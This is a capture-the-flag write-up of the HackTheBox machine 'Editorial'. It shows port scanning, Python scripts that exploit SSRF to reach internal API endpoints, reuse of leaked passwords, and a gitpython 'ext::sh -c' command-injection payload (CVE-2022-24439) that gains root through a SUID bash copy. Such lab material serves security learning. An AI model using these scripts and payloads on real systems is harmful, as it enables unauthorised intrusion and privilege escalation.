Editorial – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

‘Editorial’ Avatar


Summary Link to heading

“Editorial” is an easy box/machine from HackTheBox platform. The victim server is running a webpage. This webpage is vulnerable to Server-Side Request Forgery (SSRF), which exposes internal endpoints. One of these internal endpoints exposed leaks the credentials for a user, which let us gain initial access to the victim machine. Once inside the victim machine, we are able to find a git repository that leak credentials for a new user. This new user is able to run a script with sudo as root user. This script uses a vulnerable git library for Python, which let us inject commands as root user and gain total control of the system.


User Link to heading

Starting with Nmap scan to check open TCP ports we have only 2 ports open: 22 SSH and 80 HTTP:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:42 -04
Initiating SYN Stealth Scan at 20:42
Scanning 10.10.11.20 [65535 ports]
Discovered open port 22/tcp on 10.10.11.20
Discovered open port 80/tcp on 10.10.11.20
Completed SYN Stealth Scan at 20:43, 18.11s elapsed (65535 total ports)
Nmap scan report for 10.10.11.20
Host is up, received user-set (0.17s latency).
Scanned at 2024-07-13 20:42:45 -04 for 18s
Not shown: 63302 closed tcp ports (reset), 2231 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.29 seconds
           Raw packets sent: 88944 (3.914MB) | Rcvd: 77451 (3.098MB)

and checking their versions/details:

❯ sudo nmap -sVC -p22,80 10.10.11.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:44 -04
Nmap scan report for 10.10.11.20
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the output I can see that HTTP site redirects to http://editorial.htb, so I add this domain to my /etc/hosts file running:

❯ echo '10.10.11.20 editorial.htb' | sudo tee -a /etc/hosts

Once added, I check this domain with WhatWeb, where I do not see interesting info besides the server running on Nginx:

❯ whatweb -a 3 http://editorial.htb

http://editorial.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.20], Title[Editorial Tiempo Arriba], X-UA-Compatible[IE=edge], nginx[1.18.0]

Visiting http://editorial.htb in a web browser like Firefox shows the following page:

Editorial 1

After inspecting the page there is a button Publish with us that redirects to http://editorial.htb/upload, where I can see that we can upload data to publish a book:

Editorial 2

I note that we can pass an url or a file. If I pass as link file the url http://10.10.16.9:8080/test (and after starting a listener with netcat on port 8080 running nc -lvnp 8080) I note that the page shows a message:

Editorial

✍️ Request Submited! 🔖 We'll reach your book. Let us read and explore your idea and soon you will have news 📚

So I assume my request has been uploaded. But I do not receive any request in my netcat listener.

I get something in my netcat listener if instead of clicking on Send book info I click on Preview at the bottom right side. Putting as url, for example, http://10.10.16.9:8000/test and then clicking on Preview shows in my listener:

❯ nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.20] 40898
GET /test HTTP/1.1
Host: 10.10.16.9:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

If I intercept it with Burpsuite (clicking on Preview) and send it to the Repeater. We have then the HTTP request:

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------1575085794932368148323839479
Content-Length: 359
Origin: http://editorial.htb
DNT: 1
Connection: close
Referer: http://editorial.htb/upload

-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookurl"

http://10.10.16.9:8000
-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------1575085794932368148323839479--

Editorial 4

And we get the response:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 13 Jul 2024 01:11:40 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 61

/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

where I get an url:

http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

If I visit that page I just see an icon like the one under the string Book information:

Editorial 5

To check if this url is vulnerable to Server-Side Request Forgery (SSRF) I create a simple Python script that checks the length of the response when we make a request to 127.0.0.1 and different ports. I expect that if we find an internally open port it might return a size different than the other requests (that is 61). The script is:

#!/usr/bin/python3
import requests
from multiprocessing import Pool

burp0_url = "http://editorial.htb/upload-cover"
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479",
    "Origin": "http://editorial.htb",
    "DNT": "1",
    "Connection": "close",
    "Referer": "http://editorial.htb/upload"
}
exclude_length = 61

def check_port(port):
    burp0_data = (
        f"-----------------------------1575085794932368148323839479\r\n"
        f"Content-Disposition: form-data; name=\"bookurl\"\r\n\r\n"
        f"http://127.0.0.1:{port}\r\n"
        f"-----------------------------1575085794932368148323839479\r\n"
        f"Content-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\n"
        f"Content-Type: application/octet-stream\r\n\r\n\r\n"
        f"-----------------------------1575085794932368148323839479--\r\n"
    )
    
    try:
        r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=30)
        if 'Content-Length' in r.headers:
            size = int(r.headers['Content-Length'])
        else:
            size = len(r.content)
        
        if size != exclude_length:
            print(f"[+] Port {port} returns size {size} (different from average size {exclude_length})")
    except requests.exceptions.RequestException as e:
        print(f"[-] Port {port} raised an exception: {e}")

if __name__ == "__main__":
    with Pool(processes=30) as pool:
        pool.map(check_port, range(1, 65536))

And after running it I get:

❯ python3 SSRF_explorer_multiprocessing.py

[+] Port 5000 returns size 51 (different from average size 61)

I note that if I pass as url http://127.0.0.1:5000 the pages icon disappears:

Editorial 6

I check the page that is returned from the request (that is not an url with a .jpeg file). For example, if I get the directory static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb, with cURL it shows:

❯ curl -s http://editorial.htb/static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

We have some endpoints exposed. Remember these endpoints.

To summarize, we have found the following:

  1. The site is vulnerable to Server-Side Request Forgery, with port 5000 internally exposed. This service has shown endpoints available for this internal service that we could now use.
  2. When we make a request to this internal service, it also creates public API endpoints at the webserver. These public endpoints are temporarily exposed at http://editorial.htb/<temporal-created-endpoint>.
  3. We can then try to visit these temporary public endpoints to get info.

For this I create, again, a Python script that does the steps from above and save it on a file called API_requests.py to visit the endpoints exposed:

#!/usr/bin/python3
import requests
import argparse


def get_arguments():
    parser = argparse.ArgumentParser(description='Get info in webpage.')
    
    # Add arguments
    parser.add_argument('-e' ,'--endpoint', type=str, help='Endpoint to make the request', required=True)
    
    return parser.parse_args()


def check_endpoint(endpoint: str)->str:
    if endpoint.startswith('/'):
        return endpoint
    return '/'+endpoint


def main()->None:
    # Get arguments from user
    args = get_arguments()
    # Set info for HTTP Request
    burp0_url = "http://editorial.htb/upload-cover"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479", "Origin": "http://editorial.htb", "DNT": "1", "Connection": "close", "Referer": "http://editorial.htb/upload"}
    url_request = f'http://127.0.0.1:5000{check_endpoint(args.endpoint)}'
    print(f"[+] Making request to {url_request!r}...")
    burp0_data = f"-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookurl\"\r\n\r\n{url_request}\r\n-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------1575085794932368148323839479--\r\n"
    r_post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    url = r_post.text.strip()
    request_url = f'http://editorial.htb/{url}'
    print(f"[+] Attempting request to {request_url!r}...")
    r_get = requests.get(request_url, headers=burp0_headers)
    print("[+] Output is:")
    print(r_get.text)


if __name__ == "__main__":
    main()

Then I start running my script and it works. If, for example, we visit the API endpoint /api/latest/metadata/messages/coupons we get:

❯ python3 API_request.py -e '/api/latest/metadata/messages/coupons'

[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/coupons'...
[+] Attempting request to 'http://editorial.htb/static/uploads/52e8c6f5-0a68-4de1-8dfc-88037cc165e3'...
[+] Output is:

[{"2anniversaryTWOandFOURread4":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"12/02/2024"}},{"frEsh11bookS230":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"31/11/2023"}}]

I get interesting info when we request the endpoint /api/latest/metadata/messages/authors:

❯ python3 API_request.py -e '/api/latest/metadata/messages/authors'

[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/authors'...
[+] Attempting request to 'http://editorial.htb/static/uploads/06be6adb-5a83-46fc-954f-b63366e3d8a4'...
[+] Output is:

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

This message leaks credentials: dev:dev080217_devAPI!@.

I check if these credentials work via SSH with NetExec:

❯ netexec ssh 10.10.11.20 -u dev -p 'dev080217_devAPI!@'

SSH         10.10.11.20     22     10.10.11.20      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH         10.10.11.20     22     10.10.11.20      [+] dev:dev080217_devAPI!@  (non root) Linux - Shell access!

and they do.

We can then log in via SSH to the target machine:

❯ sshpass -p 'dev080217_devAPI!@' ssh -o stricthostkeychecking=no dev@10.10.11.20

<SNIP>

dev@editorial:~$ whoami

dev

We can get the user flag.


Root Link to heading

Checking directories at /home/dev I can see a folder called apps:

dev@editorial:~$ ls -la

total 32
drwxr-x--- 4 dev  dev  4096 Jun  5 14:36 .
drwxr-xr-x 4 root root 4096 Jun  5 14:36 ..
drwxrwxr-x 3 dev  dev  4096 Jun  5 14:36 apps
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4096 Jun  5 14:36 .cache
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
-rw-r----- 1 root dev    33 Jul 13 00:42 user.txt

dev@editorial:~$ cd apps

dev@editorial:~/apps$ ls -la

total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git

I can see a .git directory. I decide then to check for previous commits:

dev@editorial:~/apps$ git log -n 10

commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

Eventually, I can see interesting info in one of the logs:

dev@editorial:~/apps$ git diff 1e84a036b2f33c59e2390730699a488c65643d28

diff --git a/app_api/app.py b/app_api/app.py
deleted file mode 100644
index 61b786f..0000000
--- a/app_api/app.py
+++ /dev/null
<SNIP>
        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYou
r login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as pos
sible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name
+ " Team."
-    }) # TODO: replace dev credentials when checks pass
<SNIP>

where now we have credentials: prod:080217_Producti0n_2023!@

I can see a similar message that leaked the credentials for dev user, but this time for a user called prod. I check if this user exists on the target machine:

dev@editorial:~/apps$ cat /etc/passwd | grep "prod"

prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash

Since this user exists, I pivot to this user with its password:

dev@editorial:~/apps$ su prod

Password: 080217_Producti0n_2023!@

prod@editorial:/home/dev/apps$ whoami

prod

Checking what can this new user run with sudo shows:

prod@editorial:/home/dev/apps$ sudo -l

Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

We can run, with python3 the script /opt/internal_apps/clone_changes/clone_prod_change.py and then provide an argument. I check what this script is and we have:

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

The interesting/not usual library here is git.

Searching for a vulnerability for this library I find this post where they show how we could inject commands and then the related Github issue to this vulnerability. This vulnerability is labeled as CVE-2022-24439 and affect versions of gitpython library up to 3.1.30. If I check the version of the available git library in the target machine we have:

prod@editorial:/home/dev/apps$ python3 -c 'import git; print(git.__version__)'

3.1.29

This version is vulnerable.

The example provided in the Github issue is:

<gitpython::clone> 'ext::sh -c touch% /tmp/pwned'

I adapt it to the command we can run with sudo. I will create a copy of /bin/bash and, to that copy, assign SUID permissions. First, I will test it cloning /bin/bash:

prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/gunzf0x'

Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cp% /bin/bash% /tmp/gunzf0x new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'

prod@editorial:/home/dev/apps$ ls -la /tmp

total 1412
drwxrwxrwt 12 root root    4096 Jul 13 03:10 .
drwxr-xr-x 18 root root    4096 Jun  5 14:54 ..
drwxrwxrwt  2 root root    4096 Jul 13 00:37 .font-unix
-rwxr-xr-x  1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>

and I see that my file has been created, and the owner of the file is root (so the previous command copying the file has been executed by root).

Now, as we mentioned, assign SUID permissions to that file:

prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% 4755% /tmp/gunzf0x'

Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
<SNIP>

prod@editorial:/home/dev/apps$ ls -la /tmp

total 1412
drwxrwxrwt 12 root root    4096 Jul 13 03:10 .
drwxr-xr-x 18 root root    4096 Jun  5 14:54 ..
drwxrwxrwt  2 root root    4096 Jul 13 00:37 .font-unix
-rwsr-xr-x  1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>

As we can see, our copy has SUID permissions.

Now just run it with -p flag so we run it with the owner permissions:

prod@editorial:/home/dev/apps$ /tmp/gunzf0x -p

gunzf0x-5.1# whoami

root

And we are root user. We can read the flag at /root directory.

~Happy Hacking